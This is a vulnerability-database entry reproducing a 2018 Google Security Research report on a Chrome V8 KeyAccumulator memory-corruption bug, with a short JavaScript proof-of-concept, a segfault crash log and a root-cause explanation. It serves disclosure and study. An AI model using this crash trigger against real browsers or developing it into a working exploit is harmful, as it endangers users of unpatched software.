Lucene search
K

Chrome V8 KeyAccumulator Bug Exploit

🗓️ 13 Jul 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 51 Views

Chrome V8 KeyAccumulator Bug Exploit, Crash log explanation, potential exploit scenario analysi

Code
Chrome: V8: A bug with KeyAccumulator 




PoC:
for (let i = 0; i < 10; i++) {
    let [tmp] = [,], arr = [...Array(9063)];
    for (let j = 0; j < 400; j++) {
        Reflect.ownKeys(arr).shift();
        Array(64386);
    }
}

Crash log:
Received signal 11 SEGV_MAPERR 30d96df00000

==== C stack trace ===============================

 [0x555555f3c8f4]
 [0x7ffff7bcb390]
 [0x555555b48eb5]
 [0x555555b46f0f]
 [0x555555b0d201]
 [0x555555b18c0e]
 [0x555555b19286]
 [0x555555b02119]
 [0x555555afe9b1]
 [0x555555afd305]
 [0x555555b0815c]
 [0x555555adba22]
 [0x555555be31f9]
 [0x555555c283f3]
 [0x555555bc2779]
 [0x555555a81423]
 [0x555555bc4982]
 [0x555555bc3c41]
 [0x555555bc2cbb]
 [0x555555bc24bb]
 [0x555555bc23ec]
 [0x55555587f644]
 [0x37cbf798b5dd]
[end of stack trace]
Segmentation fault

What happens here is:

1. When rehashing a hash table, it stores the pointer to the new table into the old table (<a href="https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369</a>). The new table is directly used as the backing store of the result array of "Reflect.ownKeys(arr)".
2. The shift method invokes the MoveElements method which invokes the Heap::LeftTrimFixedArray method when "len > JSArray::kMaxCopyElements" is fulfilled (<a href="https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287</a>).
3. The Heap::LeftTrimFixedArray method cuts out the left 8 bytes (a pointer) of the backing store, and leaves a filter object (8 bytes) in there (<a href="https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816</a>). It seems this operation is performed based on the assumption that the pointer to the backing store is not held in other places. But the pointer to it was stored into the old table at 1.
4. So the filter object created at 3 is collected from the old table when a garbage collection triggered, since the size of the filter object is 8 bytes, it hits the assertion (<a href="https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127</a>).

#  0day.today [2018-07-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation